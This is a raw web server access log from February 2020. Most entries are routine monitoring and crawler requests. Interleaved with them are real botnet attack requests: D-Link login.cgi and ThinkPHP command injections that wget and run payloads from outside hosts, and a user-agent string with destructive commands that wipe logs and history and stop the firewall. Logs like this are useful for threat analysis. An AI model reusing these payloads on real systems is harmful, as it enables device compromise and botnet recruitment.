212.91.246.72 - - [19/Feb/2020:19:49:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.36.112.114 - - [19/Feb/2020:19:50:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:19:50:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.211.248.30 - - [19/Feb/2020:19:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:19:51:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:52:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:53:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:54:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.79.82.32 - - [19/Feb/2020:19:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:19:55:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:56:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.41 - - [19/Feb/2020:19:56:48 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.41 - - [19/Feb/2020:19:56:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [19/Feb/2020:19:57:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:58:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:59:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:00:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:01:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:02:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:03:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:04:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.168.83.126 - - [19/Feb/2020:20:05:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:20:05:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:06:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.239.141.155 - - [19/Feb/2020:20:06:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:20:07:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.240.125.81 - - [19/Feb/2020:20:08:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [19/Feb/2020:20:08:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:09:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:10:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:11:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:12:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:13:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.242.140.22 - - [19/Feb/2020:20:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:20:14:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:15:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.106.101.155 - - [19/Feb/2020:20:16:39 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.106.101.155 - - [19/Feb/2020:20:16:40 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.106.101.155 - - [19/Feb/2020:20:16:40 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.106.101.155 - - [19/Feb/2020:20:16:40 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.106.101.155 - - [19/Feb/2020:20:16:41 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.106.101.155 - - [19/Feb/2020:20:16:41 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.106.101.155 - - [19/Feb/2020:20:16:42 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.106.101.155 - - [19/Feb/2020:20:16:42 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.106.101.155 - - [19/Feb/2020:20:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [19/Feb/2020:20:16:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:17:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:18:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:19:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:20:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:21:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:22:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:23:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.58.133.74 - - [19/Feb/2020:20:24:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:20:24:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.29.233.146 - - [19/Feb/2020:20:25:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:20:25:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:26:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.141.149.95 - - [19/Feb/2020:20:27:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
213.141.149.95 - - [19/Feb/2020:20:27:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:20:27:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.141.149.95 - - [19/Feb/2020:20:28:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
213.141.149.95 - - [19/Feb/2020:20:28:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:20:28:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:29:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:30:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:31:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:32:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:33:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:34:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:35:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:36:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:37:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.163.31.67 - - [19/Feb/2020:20:37:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:20:38:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:39:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:40:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.113.112.92 - - [19/Feb/2020:20:41:36 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
114.113.112.92 - - [19/Feb/2020:20:41:37 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
114.113.112.92 - - [19/Feb/2020:20:41:37 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
114.113.112.92 - - [19/Feb/2020:20:41:37 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
114.113.112.92 - - [19/Feb/2020:20:41:37 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
114.113.112.92 - - [19/Feb/2020:20:41:37 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
114.113.112.92 - - [19/Feb/2020:20:41:37 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
114.113.112.92 - - [19/Feb/2020:20:41:39 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
212.91.246.72 - - [19/Feb/2020:20:41:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:42:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:43:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:44:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:45:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.177.96.206 - - [19/Feb/2020:20:46:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:20:46:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.219.11.153 - - [19/Feb/2020:20:47:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:20:47:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.219.11.153 - - [19/Feb/2020:20:47:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.219.11.153 - - [19/Feb/2020:20:48:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.219.11.153 - - [19/Feb/2020:20:48:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
84.25.181.131 - - [19/Feb/2020:20:48:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [19/Feb/2020:20:48:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.219.11.153 - - [19/Feb/2020:20:48:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
78.189.125.140 - - [19/Feb/2020:20:48:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
61.219.11.153 - - [19/Feb/2020:20:49:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:20:49:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.144.130.21 - - [19/Feb/2020:20:50:45 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
212.91.246.72 - - [19/Feb/2020:20:50:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.31.3.98 - - [19/Feb/2020:20:51:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:20:51:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:52:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.94.112.27 - - [19/Feb/2020:20:52:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:20:53:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:54:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.164.72.238 - - [19/Feb/2020:20:54:57 +0100] "GET /smpp/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:20:55:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:56:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:57:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:58:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:20:59:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:00:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:01:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.85.87.181 - - [19/Feb/2020:21:02:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:21:02:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:03:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:04:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [19/Feb/2020:21:05:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [19/Feb/2020:21:05:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.76.95 - - [19/Feb/2020:21:06:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:21:06:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.113.186.209 - - [19/Feb/2020:21:07:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:21:07:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:08:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:09:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.219.234.53 - - [19/Feb/2020:21:10:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
110.177.86.202 - - [19/Feb/2020:21:10:40 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
212.91.246.72 - - [19/Feb/2020:21:10:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:11:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:12:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [19/Feb/2020:21:13:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [19/Feb/2020:21:13:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [19/Feb/2020:21:13:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [19/Feb/2020:21:13:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:21:13:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [19/Feb/2020:21:13:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:21:14:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:15:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.135.1.160 - - [19/Feb/2020:21:15:56 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [19/Feb/2020:21:15:56 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [19/Feb/2020:21:15:57 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
